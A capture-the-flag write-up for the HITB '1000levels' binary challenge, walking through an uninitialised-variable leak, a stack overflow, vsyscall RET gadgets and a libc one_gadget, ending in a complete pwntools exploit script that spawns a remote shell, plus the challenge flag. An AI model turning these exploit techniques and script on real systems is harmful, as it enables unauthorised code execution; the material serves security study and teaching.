Uninitialised variable usage allows for reliable exploitation of a classic stack overflow on a NX and PIE enabled binary using gadgets from the vsyscall page and the magic libc address.

Challenge Description

Points

606

Description

It's more diffcult.

nc 47.74.147.103 20001

Files

Introduction

The program is a simple math game with two options: play the game or ask for a hint. When you ask for a hint, it tells you to pwn it. When you play the game it prompts for two numbers, adds it and runs the game for that many levels.

[email protected]:~$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
1
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 0 = ? Answer:0
Great job! You finished 2 levels in 3 seconds

Before we analyse it, let’s check the security settings on the binary. The stack canary is disabled but the binary is PIE and NX.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial
gdb-peda$

Important Functions

There are three important functions we have to understand before exploiting the binary.

  1. hint()
  2. go()
  3. level(int32_t)

hint()

This is a simple function.

1

What happens is that the address of system is copied onto the stack at var_118, then a check that the global variable show_hint is zero is performed. If the value is zero, the string “NO PWN NO FUN” is printed to the user. Otherwise, the hint with the address of system is printed to the user.

This is important because we need an information leak to bypass the ASLR which is made more important because PIE is enabled and we have no gadgets to use. However, it does not seem like we can trigger that path.

Here is the pseudocode of the function:

int _Z4hintv() {
    var_110 = *0x201fd0;
    if (*(int32_t *)show_hint != 0x0) {
            sprintf(&var_110 + 0x8, "Hint: %p\n", var_110);
    }
    else {
            *(&var_110 + 0x8) = 0x4e204e5750204f4e;
            *(int32_t *)(&var_110 + 0x10) = 0x5546204f;
            *(int16_t *)(&var_110 + 0x14) = 0x4e;
    }
    rax = puts(&var_110 + 0x8);
    return rax;
}

go()

This function begins by reading a number from the user and checking if it is below or equal to zero. If it is, it prints “Coward” to the user. Otherwise, it copies the number read into var_118 which is on the stack. This is important because it means that if we force it to print “Coward”, var_118 contains whatever value it held before it entered the function. This is the uninitalised variable vulnerability.

2

Now, it reads another number from the user, adds that to the value stored at var_118, and goes down three paths based on the calculated value.

  1. If the value is less than or equals to zero, it calls the user “Coward”, and returns from the function to display the main menu again.
  2. If the value is more than 1000, it prints “More levels than before!” and sets an initial value (used later) to 1000.
  3. Otherwise, the initial value is set to the value of var_118.

3

Next the level(int32_t) function is called with the initial value.

4

When that returns, the return code is checked to see if all the levels were passed and the function returns.

Here is the rough pseudocode of the function:

int _Z2gov() {
    puts("How many levels?");
    var_120 = read_num();
    if (var_120 <= 0x0) {
            puts("Coward");
    }
    else {
            var_110 = var_120;
    }
    puts("Any more?");
    var_120 = read_num();
    var_110 = var_120 + var_110;
    if (var_110 <= 0x0) {
            rax = puts("Coward");
    }
    else {
            if (var_110 > 0x3e7) {
                    puts("More levels than before!");
                    var_108 = 0x3e8;
            }
            else {
                    var_108 = var_110;
            }
            puts("Let's go!'");
            var_118 = time(0x0);
            if ((level(var_108) != 0x0 ? 0x1 : 0x0) != 0x0) {
                    sprintf(&var_120 + 0x20, "Great job! You finished %d levels in %d seconds\n", var_108, time(0x0) - var_118);
                    puts(&var_120 + 0x20);
            }
            else {
                    puts("You failed.");
            }
            rax = exit(0x0);
    }
    return rax;
}

level(int32_t)

This is a recursive function that implements the game loop. It can be simplified in the following formula:


level(n):
    if n == 0: return 1
    else:
        if level(n - 1) == 0:
            return 0
        else:
            number1 = random()
            number2 = random()
            solution = number1 * number2
            answer = read_from_user()
            if solution == answer:
                return 1
    return 0

The main vulnerability lies in reading the answer from the user. It reads 400 bytes into a buffer that is too small to contain it. Since the canary is disabled, it is sufficient to overwrite the saved instruction pointer on the stack to get control over the control flow.

5

The interesting thing about the function is that it prevents partial overwrites to bypass the PIE defense by checking if the number of bytes read is aligned to 8 bytes. If it isn’t aligned, it zeroes out the other bytes of double word.

6

Here is the psuedocode of the function:

int _Z5leveli(int arg0) {
    var_34 = arg0;
    if (var_34 == 0x0) {
            rax = 0x1;
    }
    else {
            if ((level(var_34 - 0x1) == 0x0 ? 0x1 : 0x0) != 0x0) {
                    rax = 0x0;
            }
            else {
                    var_30 = 0x0;
                    temp_1 = rand() % var_34;
                    temp_3 = rand() % var_34;
                    var_10 = temp_1 * temp_3;
                    puts(0x1160);
                    printf("Level %d\n", var_34);
                    printf("Question: %d * %d = ? Answer:", temp_1, temp_3);
                    var_4 = read(0x0, &var_30, 0x400);
                    while ((var_4 & 0x7) != 0x0) {
                            *(int8_t *)(rbp + sign_extend_32(var_4) + 0xffffffffffffffd0) = 0x0;
                            var_4 = var_4 + 0x1;
                    }
                    var_30 = 0x0;
                    if ((strtol(&var_30, 0x0, 0xa) == sign_extend_32(var_10) ? 0x1 : 0x0) != 0x0) {
                            rax = 0x1;
                    }
                    else {
                            rax = 0x0;
                    }
            }
    }
    return rax;
}

Solving the LIBC ASLR Problem

Unfortunately, we do not seem to have an information leak primitive to exploit. Thus, we cannot leak an address to jump to before we send our overflow payload. However, we have a solution to this. Recall that in the go() function, if we pass in 0 on the first prompt, it would leave the address of system() in libc in an uninitialised variable. Now, the value from the second prompt is added to this variable. This causes the variable to be larger than 1000, and sets the number of levels to 1000.

gdb-peda$ r
Starting program: /vagrant/hitb/1000levels/1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
0
More levels than before!

This means that the address of system is somewhere on the stack and we might be able to use it.

gdb-peda$ stack
0000| 0x7fffffffe3b0 --> 0x0
0008| 0x7fffffffe3b8 --> 0x555555554d79 (<_Z4hintv+137>:    nop)
0016| 0x7fffffffe3c0 --> 0x7ffff7a52390 (<__libc_system>:    test   rdi,rdi)
0024| 0x7fffffffe3c8 --> 0x3e8
0032| 0x7fffffffe3d0 --> 0x4e5546204f ('O FUN')
0040| 0x7fffffffe3d8 --> 0x0
0048| 0x7fffffffe3e0 --> 0x0
0056| 0x7fffffffe3e8 --> 0x0

We can adjust the value dynamically by modifying our second value we pass in. This allows us to place an address at an offset to system() in libc. To demonstrate, we can point the address to puts() knowing that it is at an offset 0x2a300 to system().

gdb-peda$ r
Starting program: /vagrant/hitb/1000levels/1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
172800
More levels than before!
Breakpoint 1, 0x0000555555554c4a in go() ()
gdb-peda$ stack
0000| 0x7fffffffe3b0 --> 0x2a300
0008| 0x7fffffffe3b8 --> 0x555555554d79 (<_Z4hintv+137>:    nop)
0016| 0x7fffffffe3c0 --> 0x7ffff7a7c690 (<_IO_puts>:    push   r12)
0024| 0x7fffffffe3c8 --> 0x3e8
0032| 0x7fffffffe3d0 --> 0x4e5546204f ('O FUN')
0040| 0x7fffffffe3d8 --> 0x0
0048| 0x7fffffffe3e0 --> 0x0
0056| 0x7fffffffe3e8 --> 0x0

This is important because we are not able to control the arguments to system(). We have to use another trick.

LIBC Magic Addresses

This trick would be to use a LIBC magic address. These are gadgets in the LIBC binary that give you a shell, given certain constraints, when you jump to it. I use a nifty tool called one_gadget to search for these gadgets for me.

[email protected]:~$ one_gadget libc.so.6
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xcd0f3    execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL

0xcd1c8    execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL

0xf0274    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

0xf66c0    execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

I chose the first one in the list: 0x4526a.

Solving the PIE Problem

We have two complications. First, we do not have any gadgets in the binary to use because PIE randomises the text segment of the binary. Second, a naive buffer overflow on the first level() call will not allow us to use the libc address we placed on the stack. This is because since the level() function is recursive, the 1000th call of the function will be the first one we encounter.

Solving the second issue is simple, we simply play the game 999 times until we have walked all the way back up the call stack. This would put our overflow into the range of the libc address.

Solving the first issue requires a little Linux magic. If we look at the Virtual Memory Mapping, we can see that there is something that maintains a static address between executions.

gdb-peda$ vmmap
Start              End                Perm    Name
0x0000555555554000 0x0000555555556000 r-xp    /vagrant/hitb/1000levels/1000levels
0x0000555555755000 0x0000555555756000 r--p    /vagrant/hitb/1000levels/1000levels
0x0000555555756000 0x0000555555757000 rw-p    /vagrant/hitb/1000levels/1000levels
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p    mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fe0000 0x00007ffff7fe3000 rw-p    mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p    [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

The vsyscall page contains some interesting gadgets that we can use to just RET and walk up the stack.

gdb-peda$ x/32i 0xffffffffff600400
   0xffffffffff600400:    mov    rax,0xc9
   0xffffffffff600407:    syscall
   0xffffffffff600409:    ret
   0xffffffffff60040a:    int3
   0xffffffffff60040b:    int3

Note that we have to jump to 0xffffffffff600400 and not 0xffffffffff600409 because these instructions are not actually executed but emulated. This means, in practical terms, that we cannot jump in the middle because the Linux kernel does not know how to handle it and the program will simply crash.

This is how a successful ROP chain would look like:

gdb-peda$ stack
0000| 0x7fffffffe3d8 --> 0xffffffffff600400 (mov    rax,0xc9)
0008| 0x7fffffffe3e0 --> 0xffffffffff600400 (mov    rax,0xc9)
0016| 0x7fffffffe3e8 --> 0xffffffffff600400 (mov    rax,0xc9)
0024| 0x7fffffffe3f0 --> 0x7ffff7a5226a (<do_system+1098>:    mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8)
0032| 0x7fffffffe3f8 --> 0x3e8
0040| 0x7fffffffe400 --> 0x4e5546204f ('O FUN')
0048| 0x7fffffffe408 --> 0x0
0056| 0x7fffffffe410 --> 0x0

Final Exploit

Here’s the final exploit script:

from pwn import *
import sys

#context.log_level = "debug"

system_offset = 0x0000000000045390
ret_address = 0xffffffffff600400
target_offset = 0x4526a

difference = target_offset - system_offset

def answer(eqn):
    parse = eqn[9:eqn.find("=")]
    soln = eval(parse)
    return soln

def main():
    #p = process("./1000levels")
    p = remote("47.74.147.103", 20001)

    p.sendline("2")
    p.clean()
    p.sendline("1")
    p.clean()
    p.sendline("0")
    p.clean()
    p.sendline(str(difference))

    for i in range(999):
        p.recvline_contains("Level")
        eqn = p.clean()

        soln = answer(eqn)
        p.send(str(soln)+"\x00")
        if i % 50 == 0:
            log.info("Please wait... %d/1000" % i)

    pay = str(soln) + "\x00"
    pay = pay.ljust(56, "B")
    pay += p64(ret_address)*3
    log.info("Injected our vsyscall ROPs")

    p.send(pay)
    p.clean()

    p.success("Shell spawned! Enjoy!")
    p.interactive()

if __name__ == "__main__":
    main()

Running the exploit:

asciicast

Flag: HITB{d989d44665a5a58565e09e7442606506}

Leave a Comment